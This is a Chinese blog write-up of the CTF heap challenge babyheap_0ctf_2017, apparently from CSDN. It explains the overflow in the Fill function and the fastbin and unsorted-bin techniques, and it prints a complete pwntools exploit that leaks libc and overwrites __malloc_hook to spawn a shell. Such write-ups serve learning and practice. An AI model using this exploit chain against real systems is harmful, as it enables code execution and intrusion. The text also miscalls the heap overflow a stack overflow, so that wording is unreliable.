• babyheap_0ctf_2017 详细解析【BUUCTF】



    在这里插入图片描述好家伙,保护全开,根据文件名,可以判断这是一道堆题目,刷了这么久,终于遇到堆题目了,解析就写的详细点。先看main函数,很简单就是各类个目录函数,一步一步来看把。

    main函数

    在这里插入图片描述

    sub_B70()

    先看main函数里的 v4 = sub_B70();,进入函数,有个mmp函数,整个函数就是获取一块空间
    在这里插入图片描述

    mmp函数:将硬盘上的一块区域映射为虚拟内存
    void *mmap(void addr, size_t length, int prot, int flags, int fd, off_t offset); 创建共享内存映射
    参数:
    addr: 指定映射区的首地址。通常传NULL,表示让系统自动分配
    ​ length:共享内存映射区的大小。(<= 文件的实际大小,通常为文件大小)
    ​ prot: 共享内存映射区的读写属性。PROT_READ(读)、PROT_WRITE(写)、PROT_READ|PROT_WRITE(读写)
    ​ flags: 标注共享内存的共享属性。
    ​ MAP_SHARED(共享,会将映射区所做的操作反映到物理设备(磁盘)上。)
    ​ MAP_PRIVATE(私有,映射区所做的修改不会反映到物理设备。 )
    ​ fd: 用于创建共享内存映射区的那个文件的 文件描述符。
    ​ offset:默认0,表示映射文件全部。偏移位置。需是 4k 的整数倍。
    返回值:
    ​ 成功:映射区的首地址。
    ​ 失败:MAP_FAILED (void
    (-1)), errno

    Allocate(v4);

    在这里插入图片描述
    该函数就是在申请一块size大小空间的内存,将内存信息写入,其结构图:
    在这里插入图片描述

    Fill(v4);存在漏洞!!

    在这里插入图片描述
    这里就出现一个问题,在Allocate中我们输入size申请一块size大小的堆空间。但Fill函数又让我们输入一边size,然后读size大小的数据到该区域指向的堆空间。这就很大问题了,若我们Fill是输入的size无限大,就完全可用把堆撑爆溢出,这就存在漏洞!!!

    Free(v4);

    在这里插入图片描述
    比较简单,就是将该区使用位置0,并将申请空间释放,并且将指针指为0,即指针跟着释放

    Dump(v4)

    在这里插入图片描述
    输出index索引的堆块内容,大小为size大小。

    利用思路

    这题由于free时,指针也会跟着置0,因此不存在UAF漏洞,则为Fill导致的栈溢出漏洞。
    使用两次double free与fastbin attack。
    可以通过unsorted bin的特性,若unsorted bin中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88,通过main_arena我们就可以获取到libc的基地址。

    获取libc的基址

    libc的基址通过unsorted bin的特性获得,只要申请一块较大的chunk,并free掉,该chunk的fd和bk地址便可用来计算。因此我们要获得被free掉的chunk内容,而dump函数就算输出chunk内容。因此要使得两个指针指向同一个较大的chunk块,将其中一个指针chunk释放,另一个使用dump获取地址内存

    先申请初始块

    四个0x10、一个0x80
    第0个块作用:方便修改第1、2块
    第3个块作用:方便修改0x80的块

    allo(0x10)#0
    allo(0x10)#1
    allo(0x10)#2
    allo(0x10)#3
    allo(0x80)#4
    free(1)
    free(2)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述在这里插入图片描述
    两个free的chunk块均在fastbins中

    填充2号位置,使其指向4号位置

    通过fill溢出,使2号位置fd指针指向4号位置,并将4号位置的大小改成0x21,这样4号位置就好像被free掉了,并且加入fastbin链表中

    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
    payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
    fill(0,len(payload),payload)
    
    payload = p64(0)*3 + p64(0x21)
    fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述在这里插入图片描述
    可以看到fastbin中,二号位置已经指向了4号位置,并且4号位置大小被改为0x21

    重新申请空间,将四号位置分配回来

    在申请两块0x21大小的空间,注意,申请第一个时,index=1 为原来的2号chunk;申请第二个时,index=2,为原来的4号chunk;但我们最终想让4号chunk再次free掉,进入unsorted bin中,因此要将4号chunk大小改回0x91,这样也能让top chunk找到。
    在这里插入图片描述

    free(4)

    这时候其实已经存在2个index指向一块chunk,一个是最开始申请的index=4,一个是后面再重新申请的index=2,
    这时我们free(4),4号chunk 的fd和bk变成了main_arena+88地址,__malloc_hook = main_arena-0x10

    free(4)    # 释放4号块
    dump(2)
    __malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 88 - 0x10
    libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
    print(hex(libc_base))
    
    • 1
    • 2
    • 3
    • 4
    • 5

    切割四号块

    将四号块切割,使得一部分块放入fastbin中,这样才便于利用

    allo(0x60)
    free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
    debug()
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    修改idx2内容,使其为malloc_hook附近构造chunk的地址

    修改idx2内容,使其为malloc_hook附近构造chunk的地址,这块地址将来要创建一个虚假的chunk,要求是大小不能超过fastbin,并且包含malloc_hook,因为后面要将malloc_hook修改,使其指向其他函数,执行攻击。一般会将伪造的chunk的size为0x7f,正好在fastbin要求之内,也足够大,计算该地址为malloc_hook
    在这里插入图片描述
    计算可知要构造size位为:0x000000000000007f,其地址为malloc_hook-35:
    在这里插入图片描述

    payload = p64(__malloc_hook - 35)
    fill(2,len(payload),payload)
    
    • 1
    • 2

    在这里插入图片描述

    申请假chunk,并将malloc_hook修改

    allo(0x60)
    allo(0x60) # 这个就会申请到假chunk
    
    payload = b'a'*(0x8+0x2+0x8+1)
    payload += p64(libc_base+0x4526a)
    fill(6,len(payload),payload)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    再次执行malloc

    因为malloc_hook已经被修改到其他地址,我们再次执行malloc,则会执行我们的目标函数
    one_gadget 找到目标函数:
    在这里插入图片描述

    payload = b'a'*(0x8+0x2+0x8+1)
    payload += p64(libc_base+0x4526a)
    fill(6,len(payload),payload)
    
    allo(79)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    完整代码:

    from pwn import *
    from LibcSearcher import *
    context.os='linux'
    context.arch='amd64'
    context.log_level='debug'
    p=remote("node4.buuoj.cn",29227)
    libc = ELF("libc-2.23.so")
    def debug():
        attach(p)
        pause()
    def allo(size):
    	p.recvuntil("Command: ")
    	p.sendline(str(1))
    	p.recvuntil("Size: ")
    	p.sendline(str(size))
    
    def fill(idx,size,content):
    	p.recvuntil("Command: ")
    	p.sendline(str(2))
    	p.recvuntil("Index: ")
    	p.sendline(str(idx))
    	p.recvuntil("Size: ")
    	p.sendline(str(size))
    	p.recvuntil("Content: ")
    	p.sendline(content)
    
    def free(idx):
    	p.recvuntil("Command: ")
    	p.sendline(str(3))
    	p.recvuntil("Index: ")
    	p.sendline(str(idx))
    
    def dump(idx):
    	p.recvuntil("Command: ")
    	p.sendline(str(4))
    	p.recvuntil("Index: ")
    	p.sendline(str(idx))
    
    allo(0x10)#0
    allo(0x10)#1
    allo(0x10)#2
    allo(0x10)#3
    allo(0x80)#4
    free(1)
    free(2)
    
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
    payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
    fill(0,len(payload),payload)
    
    payload = p64(0)*3 + p64(0x21)
    fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了
    
    allo(0x10)#1 The original position of 2 # 申请原本2号块
    allo(0x10)#2 4 Simultaneous pointing	# 这里就会申请到4号块的位置
    
    payload = p64(0)*3 + p64(0x91)
    fill(3,len(payload),payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置
    
    allo(0x80) # 在申请一块大空间,避免4号块和top chunk合并
    
    free(4)    # 释放4号块
    dump(2)
    __malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 88 - 0x10
    libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
    log.info("__malloc_hook: "+ hex(__malloc_hook))
    log.info("libc_base: "+ hex(libc_base))
    
    allo(0x60)
    free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
    
    
    payload = p64(__malloc_hook - 35)
    fill(2,len(payload),payload)
    
    
    allo(0x60)
    allo(0x60) # 这个就会申请到假chunk
    
    payload = b'a'*(0x8+0x2+0x8+1)
    payload += p64(libc_base+0x4526a)
    fill(6,len(payload),payload)
    
    allo(79)
    
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
  • 相关阅读:
    利用大型语言模型轻松打造浪漫时刻
    java计算机毕业设计vue宿舍管理系统MyBatis+系统+LW文档+源码+调试部署
    前端架构师之01_ES6_基础
    使用华为eNSP组网试验⑸-访问控制
    光猫桥接与直接拨号的对比
    【TypeScript】抽象类的使用 | 类的类型
    微服务从代码到k8s部署应有尽有系列(一)
    教你一绝招:如何快速提高学习成绩--这样学习,你离考取重点高中或名牌大学很近了
    Stream常用操作以及原理探索
    SSM图书管理系统开发mysql数据库web结构java编程计算机网页源码eclipse项目
  • 原文地址:https://blog.csdn.net/qq_41696518/article/details/126677556